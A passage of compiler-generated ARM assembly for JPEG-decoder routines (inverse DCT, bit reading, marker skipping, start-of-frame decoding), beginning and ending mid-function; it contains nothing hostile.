mov_regimm al r2 r2 asr 8
ldr_imm_add al ip sp 28
str_imm_add al ip 4 r2
ldr_imm_add al r2 sp 8
add_regimm al r2 r2 r1 lsl 0
mov_regimm al r2 r2 asr 8
ldr_imm_add al ip sp 28
str_imm_add al ip 8 r2
add_regimm al r2 r5 r4 lsl 0
mov_regimm al r2 r2 asr 8
ldr_imm_add al ip sp 28
str_imm_add al ip 12 r2
sub_regimm al r2 r5 r4 lsl 0
mov_regimm al r2 r2 asr 8
ldr_imm_add al r4 sp 28
str_imm_add al r4 16 r2
ldr_imm_add al r2 sp 8
sub_regimm al r1 r2 r1 lsl 0
mov_regimm al r1 r1 asr 8
ldr_imm_add al r2 sp 28
str_imm_add al r2 20 r1
ldr_imm_add al r1 sp 4
sub_regimm al r0 r1 r0 lsl 0
mov_regimm al r0 r0 asr 8
ldr_imm_add al r1 sp 28
str_imm_add al r1 24 r0
sub_regimm al r0 r3 lr lsl 0
mov_regimm al r0 r0 asr 8
ldr_imm_add al r1 sp 28
str_imm_add al r1 28 r0
add_imm al sp sp 36
ldmia_update al reglist:0x8fc0 sp
.endfun
# sig: IN: [A32 A32 S32] -> OUT: [] stk_size:88
.fun njColIDCT 16
stmdb_update al sp reglist:0x4fc0
sub_imm al sp sp 100
.bbl %start 4
str_imm_add al sp 80 r0
mov_regimm al r6 r1 lsl 0
mov_regimm al r7 r2 lsl 0
mov_imm al r0 32
mov_regimm al r0 r0 lsl 2
ldr_imm_add al r1 sp 80
ldr_reg_add al r0 r1 r0 lsl 0
mov_regimm al r0 r0 lsl 8
str_imm_add al sp 16 r0
mov_imm al r0 48
mov_regimm al r0 r0 lsl 2
ldr_imm_add al r1 sp 80
ldr_reg_add al r0 r1 r0 lsl 0
str_imm_add al sp 20 r0
ldr_imm_add al r0 sp 20
ldr_imm_add al r1 sp 16
orr_regimm al r0 r1 r0 lsl 0
mov_imm al r1 16
mov_regimm al r1 r1 lsl 2
ldr_imm_add al r2 sp 80
ldr_reg_add al r1 r2 r1 lsl 0
str_imm_add al sp 24 r1
ldr_imm_add al r1 sp 24
orr_regimm al r0 r0 r1 lsl 0
mov_imm al r1 32
ldr_imm_add al r2 sp 80
ldr_reg_add al r1 r2 r1 lsl 0
str_imm_add al sp 28 r1
ldr_imm_add al r1 sp 28
orr_regimm al r0 r0 r1 lsl 0
mov_imm al r1 56
mov_regimm al r1 r1 lsl 2
ldr_imm_add al r2 sp 80
ldr_reg_add al r1 r2 r1 lsl 0
str_imm_add al sp 32 r1
ldr_imm_add al r1 sp 32
orr_regimm al r0 r0 r1 lsl 0
mov_imm al r1 40
mov_regimm al r1 r1 lsl 2
ldr_imm_add al r2 sp 80
ldr_reg_add al r1 r2 r1 lsl 0
str_imm_add al sp 36 r1
ldr_imm_add al r1 sp 36
orr_regimm al r0 r0 r1 lsl 0
mov_imm al r1 24
mov_regimm al r1 r1 lsl 2
ldr_imm_add al r2 sp 80
ldr_reg_add al r1 r2 r1 lsl 0
str_imm_add al sp 40 r1
ldr_imm_add al r1 sp 40
orr_regimm al r0 r0 r1 lsl 0
cmp_imm al r0 0
b ne expr:jump24:if_3_end
.bbl if_3_true 4
ldr_imm_add al r0 sp 80
ldr_imm_add al r0 r0 0
add_imm al r0 r0 32
mov_regimm al r0 r0 asr 6
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
str_imm_add al sp 44 r0
mov_imm al r0 8
str_imm_add al sp 84 r0
b al expr:jump24:for_1_cond
.bbl for_1 4
ldr_imm_add al r0 sp 44
mov_regimm al r0 r0 lsl 0
mov_regimm al r0 r0 lsl 0
strb_imm_add al r6 0 r0
add_regimm al r0 r6 r7 lsl 0
mov_regimm al r6 r0 lsl 0
.bbl for_1_next 4
ldr_imm_add al r0 sp 84
sub_imm al r0 r0 1
str_imm_add al sp 84 r0
.bbl for_1_cond 4
ldr_imm_add al r0 sp 84
cmp_imm al r0 0
b ne expr:jump24:for_1
.bbl for_1_exit 4
add_imm al sp sp 100
ldmia_update al reglist:0x8fc0 sp
.bbl if_3_end 4
ldr_imm_add al r0 sp 80
ldr_imm_add al r0 r0 0
mov_regimm al r0 r0 lsl 8
add_imm al r0 r0 8192
ldr_imm_add al r1 sp 32
ldr_imm_add al r2 sp 28
add_regimm al r1 r2 r1 lsl 0
movw al r2 565
mul al r1 r1 r2
add_imm al r1 r1 4
movw al r2 2276
ldr_imm_add al r3 sp 28
mul al r2 r3 r2
add_regimm al r2 r1 r2 lsl 0
mov_regimm al r2 r2 asr 3
movw al r3 3406
ldr_imm_add al r4 sp 32
mul al r3 r4 r3
sub_regimm al r1 r1 r3 lsl 0
mov_regimm al r1 r1 asr 3
ldr_imm_add al r3 sp 40
ldr_imm_add al r4 sp 36
add_regimm al r3 r4 r3 lsl 0
movw al r4 2408
mul al r3 r3 r4
add_imm al r3 r3 4
movw al r4 799
ldr_imm_add al r5 sp 36
mul al r4 r5 r4
sub_regimm al r4 r3 r4 lsl 0
mov_regimm al r4 r4 asr 3
movw al r5 4017
ldr_imm_add al ip sp 40
mul al r5 ip r5
sub_regimm al r3 r3 r5 lsl 0
mov_regimm al r3 r3 asr 3
ldr_imm_add al r5 sp 16
add_regimm al r5 r0 r5 lsl 0
ldr_imm_add al ip sp 16
sub_regimm al r0 r0 ip lsl 0
ldr_imm_add al ip sp 20
ldr_imm_add al lr sp 24
add_regimm al ip lr ip lsl 0
movw al lr 1108
mul al ip ip lr
add_imm al ip ip 4
str_imm_add al sp 48 ip
movw al ip 3784
str_imm_add al sp 52 ip
ldr_imm_add al ip sp 20
str_imm_add al sp 0 ip
ldr_imm_add al ip sp 52
ldr_imm_add al lr sp 0
mul al ip lr ip
ldr_imm_add al lr sp 48
sub_regimm al ip lr ip lsl 0
mov_regimm al ip ip asr 3
str_imm_add al sp 56 ip
mov_imm al ip 1568
str_imm_add al sp 60 ip
ldr_imm_add al ip sp 24
str_imm_add al sp 4 ip
ldr_imm_add al ip sp 60
ldr_imm_add al lr sp 4
mul al ip lr ip
ldr_imm_add al lr sp 48
add_regimm al ip lr ip lsl 0
mov_regimm al ip ip asr 3
add_regimm al r8 r2 r4 lsl 0
sub_regimm al r2 r2 r4 lsl 0
add_regimm al r9 r1 r3 lsl 0
sub_regimm al r1 r1 r3 lsl 0
add_regimm al sl r5 ip lsl 0
sub_regimm al fp r5 ip lsl 0
ldr_imm_add al r3 sp 56
add_regimm al r3 r0 r3 lsl 0
str_imm_add al sp 64 r3
ldr_imm_add al r3 sp 56
sub_regimm al r0 r0 r3 lsl 0
str_imm_add al sp 68 r0
add_regimm al r0 r2 r1 lsl 0
mov_imm al r3 181
mul al r0 r0 r3
add_imm al r0 r0 128
mov_regimm al r0 r0 asr 8
str_imm_add al sp 72 r0
sub_regimm al r0 r2 r1 lsl 0
mov_imm al r1 181
mul al r0 r0 r1
add_imm al r0 r0 128
mov_regimm al r0 r0 asr 8
str_imm_add al sp 76 r0
add_regimm al r0 sl r8 lsl 0
mov_regimm al r0 r0 asr 14
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_imm_add al r6 0 r0
add_regimm al r6 r6 r7 lsl 0
ldr_imm_add al r0 sp 72
ldr_imm_add al r1 sp 64
add_regimm al r0 r1 r0 lsl 0
mov_regimm al r0 r0 asr 14
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_imm_add al r6 0 r0
add_regimm al r0 r6 r7 lsl 0
str_imm_add al sp 8 r0
ldr_imm_add al r0 sp 76
ldr_imm_add al r1 sp 68
add_regimm al r0 r1 r0 lsl 0
mov_regimm al r0 r0 asr 14
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_reg_add al r6 r7 lsl 0 r0
ldr_imm_add al r0 sp 8
add_regimm al r6 r0 r7 lsl 0
add_regimm al r0 fp r9 lsl 0
mov_regimm al r0 r0 asr 14
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 8
strb_reg_add al r1 r7 lsl 0 r0
add_regimm al r0 r6 r7 lsl 0
str_imm_add al sp 12 r0
sub_regimm al r0 fp r9 lsl 0
mov_regimm al r0 r0 asr 14
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_reg_add al r6 r7 lsl 0 r0
ldr_imm_add al r0 sp 12
add_regimm al r6 r0 r7 lsl 0
ldr_imm_add al r0 sp 76
ldr_imm_add al r1 sp 68
sub_regimm al r0 r1 r0 lsl 0
mov_regimm al r0 r0 asr 14
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
ldr_imm_add al r1 sp 12
strb_reg_add al r1 r7 lsl 0 r0
add_regimm al r9 r6 r7 lsl 0
ldr_imm_add al r0 sp 72
ldr_imm_add al r1 sp 64
sub_regimm al r0 r1 r0 lsl 0
mov_regimm al r0 r0 asr 14
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_reg_add al r6 r7 lsl 0 r0
sub_regimm al r0 sl r8 lsl 0
mov_regimm al r0 r0 asr 14
add_imm al r0 r0 128
bl al expr:call:njClip
mov_regimm al r0 r0 lsl 0
strb_reg_add al r9 r7 lsl 0 r0
add_imm al sp sp 100
ldmia_update al reglist:0x8fc0 sp
.endfun
# sig: IN: [S32] -> OUT: [S32] stk_size:0
.fun __static_1_njShowBits 16
.localmem switch_344_tab 4 rodata
.addr.bbl 4 while_1_cond
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_217
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 switch_344_default
.addr.bbl 4 while_1_cond
.endmem
.bbl %start 4
mov_regimm al r5 r0 lsl 0
cmp_imm al r5 0
b ne expr:jump24:while_1_cond
.bbl if_2_true 4
mov_imm al r0 0
bx al lr
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj:8
movt al r0 expr:movt_abs:nj:8
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b gt expr:jump24:if_3_end
.bbl if_3_true 4
movw al r0 expr:movw_abs_nc:nj:524728
movt al r0 expr:movt_abs:nj:524728
ldr_imm_add al r0 r0 0
mov_regimm al r0 r0 lsl 8
orr_imm al r0 r0 255
movw al r1 expr:movw_abs_nc:nj:524728
movt al r1 expr:movt_abs:nj:524728
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:524732
movt al r0 expr:movt_abs:nj:524732
ldr_imm_add al r0 r0 0
add_imm al r0 r0 8
movw al r1 expr:movw_abs_nc:nj:524732
movt al r1 expr:movt_abs:nj:524732
str_imm_add al r1 0 r0
b al expr:jump24:while_1_cond
.bbl if_3_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:4
movt al r1 expr:movt_abs:nj:4
ldr_imm_add al r1 r1 0
add_imm al r1 r1 1
movw al r2 expr:movw_abs_nc:nj:4
movt al r2 expr:movt_abs:nj:4
str_imm_add al r2 0 r1
movw al r1 expr:movw_abs_nc:nj:8
movt al r1 expr:movt_abs:nj:8
ldr_imm_add al r1 r1 0
sub_imm al r1 r1 1
movw al r2 expr:movw_abs_nc:nj:8
movt al r2 expr:movt_abs:nj:8
str_imm_add al r2 0 r1
movw al r1 expr:movw_abs_nc:nj:524732
movt al r1 expr:movt_abs:nj:524732
ldr_imm_add al r1 r1 0
add_imm al r1 r1 8
movw al r2 expr:movw_abs_nc:nj:524732
movt al r2 expr:movt_abs:nj:524732
str_imm_add al r2 0 r1
movw al r1 expr:movw_abs_nc:nj:524728
movt al r1 expr:movt_abs:nj:524728
ldr_imm_add al r1 r1 0
mov_regimm al r1 r1 lsl 8
mov_regimm al r2 r0 lsl 0
orr_regimm al r1 r1 r2 lsl 0
movw al r2 expr:movw_abs_nc:nj:524728
movt al r2 expr:movt_abs:nj:524728
str_imm_add al r2 0 r1
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 255
b ne expr:jump24:while_1_cond
.bbl if_6_true 4
movw al r0 expr:movw_abs_nc:nj:8
movt al r0 expr:movt_abs:nj:8
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:if_5_false
.bbl if_5_true 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r4 r0 0
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
add_imm al r0 r0 1
movw al r1 expr:movw_abs_nc:nj:4
movt al r1 expr:movt_abs:nj:4
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:8
movt al r0 expr:movt_abs:nj:8
ldr_imm_add al r0 r0 0
sub_imm al r0 r0 1
movw al r1 expr:movw_abs_nc:nj:8
movt al r1 expr:movt_abs:nj:8
str_imm_add al r1 0 r0
cmp_imm al r4 255
b hi expr:jump24:switch_344_default
.bbl if_5_true_1 4
movw al r0 expr:loc_movw_abs_nc:switch_344_tab
movt al r0 expr:loc_movt_abs:switch_344_tab
ldr_reg_add al pc r0 r4 lsl 2
.bbl switch_344_217 4
movw al r0 expr:movw_abs_nc:nj:8
movt al r0 expr:movt_abs:nj:8
mov_imm al r1 0
str_imm_add al r0 0 r1
b al expr:jump24:while_1_cond
.bbl switch_344_default 4
mov_regimm al r0 r4 lsl 0
and_imm al r0 r0 248
cmp_imm al r0 208
b eq expr:jump24:if_4_false
.bbl if_4_true 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
b al expr:jump24:while_1_cond
.bbl if_4_false 4
movw al r0 expr:movw_abs_nc:nj:524728
movt al r0 expr:movt_abs:nj:524728
ldr_imm_add al r0 r0 0
mov_regimm al r0 r0 lsl 8
mov_regimm al r1 r4 lsl 0
orr_regimm al r0 r0 r1 lsl 0
movw al r1 expr:movw_abs_nc:nj:524728
movt al r1 expr:movt_abs:nj:524728
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:524732
movt al r0 expr:movt_abs:nj:524732
ldr_imm_add al r0 r0 0
add_imm al r0 r0 8
movw al r1 expr:movw_abs_nc:nj:524732
movt al r1 expr:movt_abs:nj:524732
str_imm_add al r1 0 r0
b al expr:jump24:while_1_cond
.bbl if_5_false 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
.bbl while_1_cond 4
movw al r0 expr:movw_abs_nc:nj:524732
movt al r0 expr:movt_abs:nj:524732
ldr_imm_add al r0 r0 0
cmp_regimm al r0 r5 lsl 0
b lt expr:jump24:while_1
.bbl while_1_exit 4
movw al r0 expr:movw_abs_nc:nj:524728
movt al r0 expr:movt_abs:nj:524728
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:524732
movt al r1 expr:movt_abs:nj:524732
ldr_imm_add al r1 r1 0
sub_regimm al r1 r1 r5 lsl 0
mov_regreg al r0 r0 asr r1
mov_imm al r1 1
mov_regreg al r1 r1 lsl r5
sub_imm al r1 r1 1
and_regimm al r0 r0 r1 lsl 0
bx al lr
.endfun
# sig: IN: [S32] -> OUT: [] stk_size:0
.fun njSkipBits 16
stmdb_update al sp reglist:0x4040
sub_imm al sp sp 8
.bbl %start 4
mov_regimm al r6 r0 lsl 0
movw al r0 expr:movw_abs_nc:nj:524732
movt al r0 expr:movt_abs:nj:524732
ldr_imm_add al r0 r0 0
cmp_regimm al r6 r0 lsl 0
b le expr:jump24:if_1_end
.bbl if_1_true 4
mov_regimm al r0 r6 lsl 0
bl al expr:call:__static_1_njShowBits
.bbl if_1_end 4
movw al r0 expr:movw_abs_nc:nj:524732
movt al r0 expr:movt_abs:nj:524732
ldr_imm_add al r0 r0 0
sub_regimm al r0 r0 r6 lsl 0
movw al r1 expr:movw_abs_nc:nj:524732
movt al r1 expr:movt_abs:nj:524732
str_imm_add al r1 0 r0
add_imm al sp sp 8
ldmia_update al reglist:0x8040 sp
.endfun
# sig: IN: [S32] -> OUT: [S32] stk_size:0
.fun njGetBits 16
stmdb_update al sp reglist:0x40c0
sub_imm al sp sp 4
.bbl %start 4
mov_regimm al r6 r0 lsl 0
mov_regimm al r0 r6 lsl 0
bl al expr:call:__static_1_njShowBits
mov_regimm al r7 r0 lsl 0
mov_regimm al r0 r6 lsl 0
bl al expr:call:njSkipBits
mov_regimm al r0 r7 lsl 0
add_imm al sp sp 4
ldmia_update al reglist:0x80c0 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:0
.fun njByteAlign 16
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj:524732
movt al r0 expr:movt_abs:nj:524732
ldr_imm_add al r0 r0 0
and_imm al r0 r0 248
movw al r1 expr:movw_abs_nc:nj:524732
movt al r1 expr:movt_abs:nj:524732
str_imm_add al r1 0 r0
bx al lr
.endfun
# sig: IN: [S32] -> OUT: [] stk_size:0
.fun __static_2_njSkip 16
.bbl %start 4
movw al r1 expr:movw_abs_nc:nj:4
movt al r1 expr:movt_abs:nj:4
ldr_imm_add al r1 r1 0
add_regimm al r1 r1 r0 lsl 0
movw al r2 expr:movw_abs_nc:nj:4
movt al r2 expr:movt_abs:nj:4
str_imm_add al r2 0 r1
movw al r1 expr:movw_abs_nc:nj:8
movt al r1 expr:movt_abs:nj:8
ldr_imm_add al r1 r1 0
sub_regimm al r1 r1 r0 lsl 0
movw al r2 expr:movw_abs_nc:nj:8
movt al r2 expr:movt_abs:nj:8
str_imm_add al r2 0 r1
movw al r1 expr:movw_abs_nc:nj:12
movt al r1 expr:movt_abs:nj:12
ldr_imm_add al r1 r1 0
sub_regimm al r0 r1 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:12
movt al r1 expr:movt_abs:nj:12
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:8
movt al r0 expr:movt_abs:nj:8
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b ge expr:jump24:if_1_end
.bbl if_1_true 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
.bbl if_1_end 4
bx al lr
.endfun
# sig: IN: [A32] -> OUT: [U32] stk_size:0
.fun njDecode16 16
.bbl %start 4
ldrb_imm_add al r1 r0 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mov_regimm al r1 r1 lsl 8
ldrb_imm_add al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
orr_regimm al r0 r1 r0 lsl 0
mov_regimm al r0 r0 lsl 0
bx al lr
.endfun
# sig: IN: [] -> OUT: [] stk_size:0
.fun __static_3_njDecodeLength 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl %start 4
movw al r0 expr:movw_abs_nc:nj:8
movt al r0 expr:movt_abs:nj:8
ldr_imm_add al r0 r0 0
cmp_imm al r0 2
b ge expr:jump24:if_4_end
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.bbl while_1_cond 4
.bbl if_4_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
bl al expr:call:njDecode16
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:12
movt al r1 expr:movt_abs:nj:12
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:8
movt al r1 expr:movt_abs:nj:8
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b le expr:jump24:if_6_end
.bbl while_2 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.bbl while_2_cond 4
.bbl if_6_end 4
mov_imm al r0 2
bl al expr:call:__static_2_njSkip
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:0
.fun njSkipMarker 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl %start 4
bl al expr:call:__static_3_njDecodeLength
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
bl al expr:call:__static_2_njSkip
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:0
.fun njDecodeSOF 16
.localmem switch_505_tab 4 rodata
.addr.bbl 4 while_5
.addr.bbl 4 switch_505_end
.addr.bbl 4 while_5
.addr.bbl 4 switch_505_end
.endmem
stmdb_update al sp reglist:0x43c0
sub_imm al sp sp 12
.bbl %start 4
mov_imm al r8 0
mov_imm al r9 0
bl al expr:call:__static_3_njDecodeLength
